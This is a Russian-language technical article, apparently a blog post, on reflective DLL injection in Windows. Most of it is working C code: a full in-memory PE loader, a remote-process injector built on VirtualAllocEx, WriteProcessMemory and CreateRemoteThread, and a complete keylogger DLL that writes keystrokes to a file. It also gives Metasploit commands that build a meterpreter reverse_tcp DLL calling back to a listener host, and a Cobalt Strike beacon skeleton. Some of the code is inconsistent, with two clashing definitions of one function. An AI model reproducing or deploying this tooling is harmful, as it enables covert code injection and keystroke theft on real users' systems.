Reflective DLL Injection: техническая анатомия и реализация

Reflective DLL Injection: техническая анатомия и реализация

Как работает техника, минующая стандартные механизмы ОС Windows.

image

Reflective DLL Injection — это техника загрузки библиотек динамической компоновки непосредственно из памяти, минуя стандартные механизмы операционной системы. В отличие от обычной DLL-инъекции, которая требует физического файла на диске, рефлективная загрузка работает исключительно с данными в оперативной памяти.

Ключевая особенность техники заключается в том, что DLL содержит собственную функцию загрузки — ReflectiveLoader, которая способна самостоятельно разместить библиотеку в памяти процесса и подготовить её к выполнению. Эта функция фактически реализует функциональность системного PE-загрузчика Windows.

Архитектура PE-файлов и процесс загрузки

Для понимания принципов работы рефлективной загрузки необходимо разобраться со структурой PE-файлов (Portable Executable). Каждый исполняемый файл в Windows, включая DLL, имеет специфическую структуру, которая описывает расположение кода, данных, импортов и другой информации.

Основные компоненты PE-файла, критичные для загрузки:

  • DOS Header — заголовок совместимости с MS-DOS
  • NT Headers — основная информация о файле, включая точку входа
  • Section Headers — описание секций файла (.text, .data, .rdata и т.д.)
  • Import Directory — таблица импортируемых функций
  • Base Relocation Table — информация для перемещения адресов

Стандартный загрузчик Windows выполняет следующие операции при загрузке DLL:

  1. Чтение PE-заголовков и определение требуемого размера памяти
  2. Выделение памяти в адресном пространстве процесса
  3. Копирование секций в выделенную память согласно их виртуальным адресам
  4. Обработка таблицы релокаций для корректировки адресов
  5. Разрешение импортов — заполнение адресов внешних функций
  6. Вызов функции DllMain с параметром DLL_PROCESS_ATTACH

Структуры данных PE-формата

Основные структуры, с которыми работает загрузчик:

typedef struct _IMAGE_DOS_HEADER {
    WORD   e_magic;      // Magic number
    // ... другие поля
    LONG   e_lfanew;     // Смещение к NT заголовкам
} IMAGE_DOS_HEADER;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS;

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[8];
    DWORD   VirtualSize;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    // ... остальные поля
} IMAGE_SECTION_HEADER;

Реализация ReflectiveLoader

Сердцем техники является функция ReflectiveLoader, которая должна быть включена в саму DLL. Первоначальная реализация была представлена Stephen Fewer в 2008 году.

Функция ReflectiveLoader выполняет следующие ключевые задачи:

1. Определение собственного местоположения в памяти

Поскольку код выполняется в произвольном месте памяти, функция должна сначала определить, где именно она находится. Это делается через анализ стека вызовов:

ULONG_PTR GetReflectiveLoaderOffset(VOID)
{
    ULONG_PTR uiAddress = 0;
    ULONG_PTR uiLibraryAddress = 0;
    
    // Получаем адрес возврата из стека
    uiAddress = (ULONG_PTR)_ReturnAddress();
    
    // Ищем начало PE-файла, сканируя назад
    while (TRUE) {
        if (((PIMAGE_DOS_HEADER)uiAddress)->e_magic == IMAGE_DOS_SIGNATURE) {
            uiLibraryAddress = uiAddress;
            break;
        }
        uiAddress--;
    }
    
    return uiLibraryAddress;
}

2. Разбор PE-заголовков

После определения базового адреса загрузчик анализирует структуру PE-файла:

DWORD ReflectiveLoader(VOID)
{
    ULONG_PTR uiBaseAddress;
    ULONG_PTR uiLibraryAddress;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSectionHeader;
    
    // Получаем базовый адрес библиотеки
    uiLibraryAddress = GetReflectiveLoaderOffset();
    
    // Получаем указатель на NT заголовки
    pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + 
        ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
    
    // Выделяем память для загруженной библиотеки
    uiBaseAddress = (ULONG_PTR)VirtualAlloc(NULL, 
        pNtHeaders->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

3. Копирование секций

Секции исходного PE-файла копируются в выделенную память согласно их виртуальным адресам:

    // Копируем заголовки
    memcpy((VOID*)uiBaseAddress, (VOID*)uiLibraryAddress, 
           pNtHeaders->OptionalHeader.SizeOfHeaders);
    
    // Копируем секции
    pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pNtHeaders->OptionalHeader + 
                                           pNtHeaders->FileHeader.SizeOfOptionalHeader);
    
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        if (pSectionHeader[i].SizeOfRawData) {
            memcpy((VOID*)(uiBaseAddress + pSectionHeader[i].VirtualAddress),
                   (VOID*)(uiLibraryAddress + pSectionHeader[i].PointerToRawData),
                   pSectionHeader[i].SizeOfRawData);
        }
    }

4. Обработка релокаций

Если библиотека не может быть загружена по предпочтительному базовому адресу, необходимо скорректировать все абсолютные адреса:

void ProcessRelocations(ULONG_PTR uiBaseAddress, ULONG_PTR uiLibraryAddress)
{
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_DATA_DIRECTORY pDataDirectory;
    PIMAGE_BASE_RELOCATION pBaseRelocation;
    ULONG_PTR uiAddressDelta;
    
    pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + 
        ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
    
    pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    
    // Вычисляем дельту между предпочтительным и реальным адресом
    uiAddressDelta = uiBaseAddress - pNtHeaders->OptionalHeader.ImageBase;
    
    if (uiAddressDelta != 0 && pDataDirectory->Size > 0) {
        pBaseRelocation = (PIMAGE_BASE_RELOCATION)(uiBaseAddress + pDataDirectory->VirtualAddress);
        
        while (pBaseRelocation->SizeOfBlock > 0) {
            DWORD dwNumberOfEntries = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            PWORD pwRelativeInfo = (PWORD)((ULONG_PTR)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
            
            for (DWORD i = 0; i < dwNumberOfEntries; i++) {
                if ((pwRelativeInfo[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
                    PULONG_PTR pAddress = (PULONG_PTR)(uiBaseAddress + pBaseRelocation->VirtualAddress + 
                                                      (pwRelativeInfo[i] & 0x0FFF));
                    *pAddress += uiAddressDelta;
                }
            }
            
            pBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pBaseRelocation + pBaseRelocation->SizeOfBlock);
        }
    }
}

5. Разрешение импортов

Наиболее сложная часть — заполнение таблицы импортов. Загрузчик должен найти адреса всех внешних функций:

void ResolveImports(ULONG_PTR uiBaseAddress)
{
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
    PIMAGE_THUNK_DATA pThunkData;
    PIMAGE_IMPORT_BY_NAME pImportByName;
    
    pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + 
        ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
    
    pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress + 
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    
    while (pImportDescriptor->Name) {
        HMODULE hLibModule;
        LPCSTR szLibraryName = (LPCSTR)(uiBaseAddress + pImportDescriptor->Name);
        
        // Загружаем требуемую библиотеку
        hLibModule = LoadLibraryA(szLibraryName);
        
        if (hLibModule) {
            pThunkData = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);
            
            while (pThunkData->u1.AddressOfData) {
                if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
                    // Импорт по ординалу
                    pThunkData->u1.Function = (ULONG_PTR)GetProcAddress(hLibModule, 
                        (LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF));
                } else {
                    // Импорт по имени
                    pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunkData->u1.AddressOfData);
                    pThunkData->u1.Function = (ULONG_PTR)GetProcAddress(hLibModule, 
                        (LPCSTR)pImportByName->Name);
                }
                pThunkData++;
            }
        }
        pImportDescriptor++;
    }
}

Полная реализация ReflectiveLoader

Объединяя все компоненты, получаем полную функцию загрузчика:

DWORD WINAPI ReflectiveLoader(VOID)
{
    ULONG_PTR uiLibraryAddress = 0;
    ULONG_PTR uiBaseAddress = 0;
    ULONG_PTR uiEntryPoint = 0;
    PIMAGE_NT_HEADERS pNtHeaders = NULL;
    
    // Этап 1: Определяем текущее местоположение
    uiLibraryAddress = GetReflectiveLoaderOffset();
    
    // Этап 2: Разбираем PE заголовки
    pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + 
        ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
    
    // Этап 3: Выделяем память для загруженной библиотеки
    uiBaseAddress = (ULONG_PTR)VirtualAlloc(NULL,
        pNtHeaders->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);
    
    if (!uiBaseAddress) {
        return 1;
    }
    
    // Этап 4: Копируем секции
    CopySections(uiBaseAddress, uiLibraryAddress, pNtHeaders);
    
    // Этап 5: Обрабатываем релокации
    ProcessRelocations(uiBaseAddress, uiLibraryAddress);
    
    // Этап 6: Разрешаем импорты
    ResolveImports(uiBaseAddress);
    
    // Этап 7: Устанавливаем правильные права доступа к секциям
    SetSectionPermissions(uiBaseAddress, pNtHeaders);
    
    // Этап 8: Вызываем точку входа DLL
    uiEntryPoint = uiBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    ((BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID))uiEntryPoint)(
        (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
    
    return 0;
}

Создание рефлективной DLL

Для создания библиотеки, поддерживающей рефлективную загрузку, необходимо включить функцию ReflectiveLoader в экспортируемые функции:

// ReflectiveDLL.def
EXPORTS
ReflectiveLoader
MyFunction

Основной код библиотеки может выглядеть следующим образом:

#include <windows.h>

// Прототип функции загрузчика
DWORD WINAPI ReflectiveLoader(VOID);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            // Инициализация при загрузке
            DisableThreadLibraryCalls(hinstDLL);
            break;
            
        case DLL_PROCESS_DETACH:
            // Очистка при выгрузке
            break;
    }
    return TRUE;
}

__declspec(dllexport) void MyFunction(void)
{
    MessageBox(NULL, L"Reflective DLL loaded successfully!", L"Success", MB_OK);
}

// Здесь должна быть реализация ReflectiveLoader
// (код из предыдущих примеров)

Инъекция рефлективной DLL

Для загрузки рефлективной DLL в целевой процесс используется следующий алгоритм:

BOOL InjectReflectiveDLL(DWORD dwProcessId, LPVOID lpDLLBuffer, DWORD dwDLLSize)
{
    HANDLE hProcess = NULL;
    LPVOID lpRemoteLibraryBuffer = NULL;
    HANDLE hThread = NULL;
    DWORD dwReflectiveLoaderOffset = 0;
    BOOL bSuccess = FALSE;
    
    // Открываем целевой процесс
    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                          PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
                          FALSE, dwProcessId);
    
    if (!hProcess) {
        goto cleanup;
    }
    
    // Находим смещение функции ReflectiveLoader в DLL
    dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDLLBuffer);
    if (!dwReflectiveLoaderOffset) {
        goto cleanup;
    }
    
    // Выделяем память в целевом процессе
    lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDLLSize,
                                          MEM_RESERVE | MEM_COMMIT,
                                          PAGE_EXECUTE_READWRITE);
    
    if (!lpRemoteLibraryBuffer) {
        goto cleanup;
    }
    
    // Копируем DLL в память целевого процесса
    if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, 
                           lpDLLBuffer, dwDLLSize, NULL)) {
        goto cleanup;
    }
    
    // Создаем поток, который выполнит ReflectiveLoader
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset),
                                NULL, 0, NULL);
    
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        bSuccess = TRUE;
    }

cleanup:
    if (hThread) CloseHandle(hThread);
    if (hProcess) CloseHandle(hProcess);
    
    return bSuccess;
}

Определение смещения ReflectiveLoader

Для нахождения функции ReflectiveLoader в загруженной DLL используется разбор таблицы экспорта:

DWORD GetReflectiveLoaderOffset(LPVOID lpDLLBuffer)
{
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_EXPORT_DIRECTORY pExportDirectory;
    PDWORD pAddressOfFunctions;
    PDWORD pAddressOfNames;
    PWORD pAddressOfNameOrdinals;
    
    pDosHeader = (PIMAGE_DOS_HEADER)lpDLLBuffer;
    pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)lpDLLBuffer + pDosHeader->e_lfanew);
    
    pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)lpDLLBuffer + 
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
    pAddressOfFunctions = (PDWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfFunctions);
    pAddressOfNames = (PDWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfNames);
    pAddressOfNameOrdinals = (PWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfNameOrdinals);
    
    // Ищем функцию ReflectiveLoader по имени
    for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
        LPCSTR szFunctionName = (LPCSTR)((ULONG_PTR)lpDLLBuffer + pAddressOfNames[i]);
        
        if (strcmp(szFunctionName, "ReflectiveLoader") == 0) {
            return pAddressOfFunctions[pAddressOfNameOrdinals[i]];
        }
    }
    
    return 0;
}

Продвинутые техники и оптимизации

Современные реализации рефлективной загрузки включают несколько важных оптимизаций и дополнительных возможностей.

Обход DEP (Data Execution Prevention)

Для корректной работы в системах с включенным DEP необходимо правильно устанавливать права доступа к секциям памяти:

void SetSectionPermissions(ULONG_PTR uiBaseAddress, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_SECTION_HEADER pSectionHeader;
    DWORD dwOldProtect;
    
    pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pNtHeaders->OptionalHeader + 
                                           pNtHeaders->FileHeader.SizeOfOptionalHeader);
    
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        DWORD dwProtection = 0;
        
        if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) {
                if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
                    dwProtection = PAGE_EXECUTE_READWRITE;
                } else {
                    dwProtection = PAGE_EXECUTE_READ;
                }
            } else {
                dwProtection = PAGE_EXECUTE;
            }
        } else {
            if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) {
                if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
                    dwProtection = PAGE_READWRITE;
                } else {
                    dwProtection = PAGE_READONLY;
                }
            } else {
                dwProtection = PAGE_NOACCESS;
            }
        }
        
        VirtualProtect((LPVOID)(uiBaseAddress + pSectionHeader[i].VirtualAddress),
                      pSectionHeader[i].SizeOfRawData,
                      dwProtection,
                      &dwOldProtect);
    }
}

Поддержка TLS (Thread Local Storage)

Для библиотек, использующих TLS, необходимо дополнительно обработать TLS Directory:

void ProcessTLS(ULONG_PTR uiBaseAddress, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_TLS_DIRECTORY pTlsDirectory;
    
    if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) {
        pTlsDirectory = (PIMAGE_TLS_DIRECTORY)(uiBaseAddress + 
            pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
        
        // Выполняем TLS callbacks
        if (pTlsDirectory->AddressOfCallBacks) {
            PIMAGE_TLS_CALLBACK* pCallback = (PIMAGE_TLS_CALLBACK*)pTlsDirectory->AddressOfCallBacks;
            
            while (*pCallback) {
                (*pCallback)((LPVOID)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
                pCallback++;
            }
        }
    }
}

Практические примеры использования

Рассмотрим практический пример создания простой рефлективной DLL для демонстрации работы техники.

Пример 1: Информационная DLL

// InfoDLL.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Функция для вывода информации о процессе
__declspec(dllexport) void WINAPI ShowProcessInfo(void)
{
    CHAR szBuffer[1024];
    DWORD dwProcessId = GetCurrentProcessId();
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;
    
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        pe32.dwSize = sizeof(PROCESSENTRY32);
        
        if (Process32First(hSnapshot, &pe32)) {
            do {
                if (pe32.th32ProcessID == dwProcessId) {
                    sprintf_s(szBuffer, sizeof(szBuffer),
                        "Process Name: %s\nProcess ID: %d\nParent PID: %d\nThreads: %d",
                        pe32.szExeFile, pe32.th32ProcessID, 
                        pe32.th32ParentProcessID, pe32.cntThreads);
                    
                    MessageBoxA(NULL, szBuffer, "Process Information", MB_OK);
                    break;
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
}

// Включаем ReflectiveLoader (код из предыдущих примеров)
// ...

Пример 2: Keylogger DLL

// KeyloggerDLL.cpp
#include <windows.h>
#include <fstream>

HHOOK g_hKeyboardHook = NULL;
std::ofstream g_logFile;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;
        
        // Логируем нажатие клавиши
        char key = MapVirtualKey(pKeyStruct->vkCode, MAPVK_VK_TO_CHAR);
        if (key >= 32 && key <= 126) {
            g_logFile << key;
            g_logFile.flush();
        }
    }
    
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

__declspec(dllexport) void WINAPI StartKeylogging(void)
{
    g_logFile.open("C:\\temp\\keylog.txt", std::ios::app);
    
    g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 
                                       GetModuleHandle(NULL), 0);
    
    if (g_hKeyboardHook) {
        // Запускаем цикл сообщений
        MSG msg;
        while (GetMessage(&msg, NULL, 0, 0)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
}

__declspec(dllexport) void WINAPI StopKeylogging(void)
{
    if (g_hKeyboardHook) {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
    }
    
    if (g_logFile.is_open()) {
        g_logFile.close();
    }
    
    PostQuitMessage(0);
}

Интеграция с фреймворками

Современные инструменты для пентестинга активно используют рефлективную загрузку. Рассмотрим примеры интеграции с популярными фреймворками.

Metasploit интеграция

В Metasploit рефлективная загрузка используется для стейджеров:

# Пример Metasploit payload с рефлективной загрузкой
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
generate -f dll -o meterpreter.dll

# Payload будет включать ReflectiveLoader для загрузки в память

Cobalt Strike BeaconDLL

Cobalt Strike использует рефлективные DLL для своих beacon-модулей:

// Пример структуры Beacon DLL
DWORD WINAPI ReflectiveLoader(VOID);

void go(char* args, int len) {
    // Основная функциональность beacon
    datap parser;
    char* command;
    
    BeaconDataParse(&parser, args, len);
    command = BeaconDataExtract(&parser, NULL);
    
    // Выполнение команды и возврат результата
    BeaconOutput(CALLBACK_OUTPUT, result, strlen(result));
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason) {
        case DLL_PROCESS_ATTACH:
            // Инициализация при загрузке
            break;
    }
    return TRUE;
}

Отладка и тестирование

При разработке рефлективных DLL важно правильно настроить процесс отладки. Поскольку код загружается динамически, стандартные средства отладки могут работать некорректно.

Отладочные версии ReflectiveLoader

#ifdef _DEBUG
#define DEBUG_PRINT(fmt, ...) do { \
    char debug_buf[256]; \
    sprintf_s(debug_buf, sizeof(debug_buf), fmt, __VA_ARGS__); \
    OutputDebugStringA(debug_buf); \
} while(0)
#else
#define DEBUG_PRINT(fmt, ...)
#endif

DWORD WINAPI ReflectiveLoader(VOID)
{
    DEBUG_PRINT("ReflectiveLoader: Starting\n");
    
    ULONG_PTR uiLibraryAddress = GetReflectiveLoaderOffset();
    DEBUG_PRINT("ReflectiveLoader: Library address = 0x%p\n", (void*)uiLibraryAddress);
    
    // Остальной код загрузчика с отладочными сообщениями
    
    DEBUG_PRINT("ReflectiveLoader: Completed successfully\n");
    return 0;
}

Тестирование совместимости

Важно тестировать рефлективные DLL на различных версиях Windows и архитектурах:

// Проверка архитектуры процесса
BOOL IsProcess64Bit(HANDLE hProcess)
{
    BOOL bIsWow64 = FALSE;
    
#ifdef _WIN64
    return TRUE;
#else
    if (IsWow64Process(hProcess, &bIsWow64)) {
        return !bIsWow64;
    }
    return FALSE;
#endif
}

// Адаптация загрузчика под архитектуру
#ifdef _WIN64
typedef ULONG64 ARCHITECTURE_TYPE;
#else
typedef ULONG32 ARCHITECTURE_TYPE;
#endif

Reflective DLL Injection представляет собой мощную технику, которая требует глубокого понимания внутреннего устройства Windows и формата PE-файлов. Правильная реализация позволяет создавать эффективные инструменты для исследования безопасности, однако требует тщательного тестирования и отладки для обеспечения стабильной работы в различных средах.

Красная или синяя таблетка?

В Матрице безопасности выбор очевиден.